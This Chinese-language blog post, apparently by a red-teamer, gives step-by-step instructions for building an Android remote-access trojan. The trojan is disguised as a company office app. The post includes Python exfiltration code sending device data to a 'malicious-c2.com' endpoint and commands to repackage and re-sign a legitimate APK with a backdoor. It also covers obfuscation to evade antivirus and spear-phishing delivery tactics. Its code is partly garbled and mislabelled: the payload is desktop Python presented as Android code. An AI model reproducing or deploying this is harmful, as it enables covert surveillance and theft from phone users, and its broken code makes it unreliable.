0x01 一场渗透中的意外发现
在一次针对某金融公司内网的红队测试中,我发现目标公司对外暴露了多个内部管理接口,这些接口仅支持内部IP访问。但通过社工获取的部分员工信息显示,他们普遍使用公司发放的安卓手机登录内部办公系统。目标很明确了:如果能控制一台员工手机,就能突破网络隔离,直接进行内网渗透。
于是,我决定开发一个定制化的安卓远控木马,以员工常用的办公App为伪装,通过鱼叉式钓鱼手段诱导安装。一旦目标设备中招,我就可以通过木马在内网中自由活动,直至攻破核心资产。这篇文章将从零开始,演示如何制作这样的安卓远控木马,以及如何实现流量隐匿和免杀技术。
警告:本文内容仅限授权测试使用,切勿用于非法用途!否则后果自负。
---
0x02 工具与环境准备
在开发安卓远控木马之前,需要准备一些必要的工具和环境。以下是我的推荐配置:
必备工具清单
- 安卓开发工具:Android Studio(用于编译和调试木马)
- 逆向工具:Apktool、JD-GUI、dex2jar(用于反编译目标App)
- 远控通信框架:Flask(Python实现C2服务器)
- 虚拟设备:Genymotion 或 Android Emulator(测试木马功能)
- 混淆与免杀工具:ProGuard、APK Signature Spoofing 工具
环境搭建
- 目标设备:一台安卓7.0以上的手机或虚拟机;
- 开发语言:主要使用 Python 和 Java;
- 网络环境:建议在内网中搭建测试环境,避免泄露痕迹。
---
0x03 构造隐藏Payload
核心任务是构造一个隐蔽的Payload模块,能够在目标设备上执行远程控制操作。
Payload 功能需求
- 权限获取:访问文件系统、摄像头、麦克风等敏感功能;
- 通信加密:通过 HTTPS 或 WebSocket 通信,避免流量明文传输被检测;
- 持久化:设备重启后仍能自动启动;
- 隐匿性:隐藏应用图标,伪装成常用应用。
Payload实现代码
以下是一个简单的Payload核心代码,用于抓取目标设备的敏感信息并发送到C2服务器:
<pre><code class="language-python">import requests import os import platform
配置 C2 地址
C2_URL = "https://malicious-c2.com/api"
获取设备基本信息
def get_device_info(): device_info = { "os": platform.system(), "os_version": platform.version(), "device_name": platform.node(), "user_name": os.getenv("USER") or os.getenv("USERNAME"), } return device_info

定期发送数据
def send_data(): data = get_device_info() try: response = requests.post(C2_URL, json=data) print(f"Data sent: {response.status_code}") except Exception as e: print(f"Failed to send data: {e}")
主函数
if __name__ == "__main__":
设置定时任务
while True: send_data()</code></pre>
这段代码通过 platform 和 os 模块获取设备信息,然后利用 requests 模块发送到C2服务器,你可以根据实际需求扩展功能,比如添加文件读取、键盘监听等。
---
0x04 木马伪装与打包
为了提高目标的中招率,我们需要将木马伪装成一个看似正常的应用,并重新签名打包。
APK 反编译与重打包
- 使用 Apktool 反编译一个合法应用:
- 将上述 Payload 的代码文件嵌入到反编译后的目录中,通常放在
smali或assets目录。 - 修改
AndroidManifest.xml,添加权限声明和启动服务配置:
<pre><code class="language-bash"> apktool d legit_app.apk -o decoded `
`xml <uses-permission android:name="android.permission.INTERNET" /> <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" /> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /> `
- 使用 Apktool 重打包:
`bash apktool b decoded -o backdoored_app.apk `
重签名
使用 keytool 和 jarsigner 为木马重新签名:</code></pre>bash
生成签名证书
keytool -genkey -v -keystore my-release-key.jks -keyalg RSA -keysize 2048 -validity 10000 -alias my-key
签名APK
jarsigner -keystore my-release-key.jks -signedjar signed_backdoored_app.apk backdoored_app.apk my-key <pre><code> ---
0x05 绕过杀软与流量隐匿
安卓系统的安全防护越来越严密,要想成功投递和运行木马,还需要一些免杀和隐匿手段。
代码混淆
使用 ProGuard 对代码进行混淆,防止静态分析:</code></pre>bash -dontwarn kotlinx. -keep class com.example. { ; } -keep public class { public protected *; } <pre><code>编辑好规则后,在 Android Studio 中启用混淆打包。
流量加密
将所有通信流量升级为 HTTPS,并使用 WebSocket 进行实时数据传输。以下是 WebSocket 的 Python 实现:</code></pre>python import websocket

配置 WebSocket 地址
ws = websocket.WebSocket() ws.connect("wss://malicious-c2.com/ws")
def send_encrypted_data(): data = {"key": "value"} # 替换为实际数据 ws.send(data)
send_encrypted_data() `
---

0x06 安全测试与投递
测试木马功能
- 在 Genymotion 虚拟机中安装打包好的 APK;
- 检查是否成功获取设备信息,并能通过C2服务器接收数据。
投递策略
- 使用鱼叉式钓鱼邮件,伪装成公司内部的更新通知;
- 在邮件中附上精心伪装的 APK 下载链接;
- 利用社工手段诱导目标安装。
---
0x07 防御者的无奈
面对这样的攻击,防御者往往需要从多个层面进行防护,包括:
- 限制未知来源应用的安装;
- 使用高级威胁检测工具,分析异常流量;
- 定期进行安全意识培训,防止员工轻信社工攻势。
但即便如此,只要攻击者足够有耐心,防御者依然可能难以完全避免中招。
---
0x08 个人经验与反思
在我的经验中,安卓远控木马的成功与否,很大程度上取决于伪装和投递策略。一个小小的细节,比如伪装成目标公司常用App,可能就决定了整个攻击的成败。
同时,这份技术也提醒我们,防御者一定要时刻保持警惕。攻击者的手段在不断进化,你的安全策略也必须跟上节奏。
声明:本文内容仅供学习研究,禁止用于非法用途!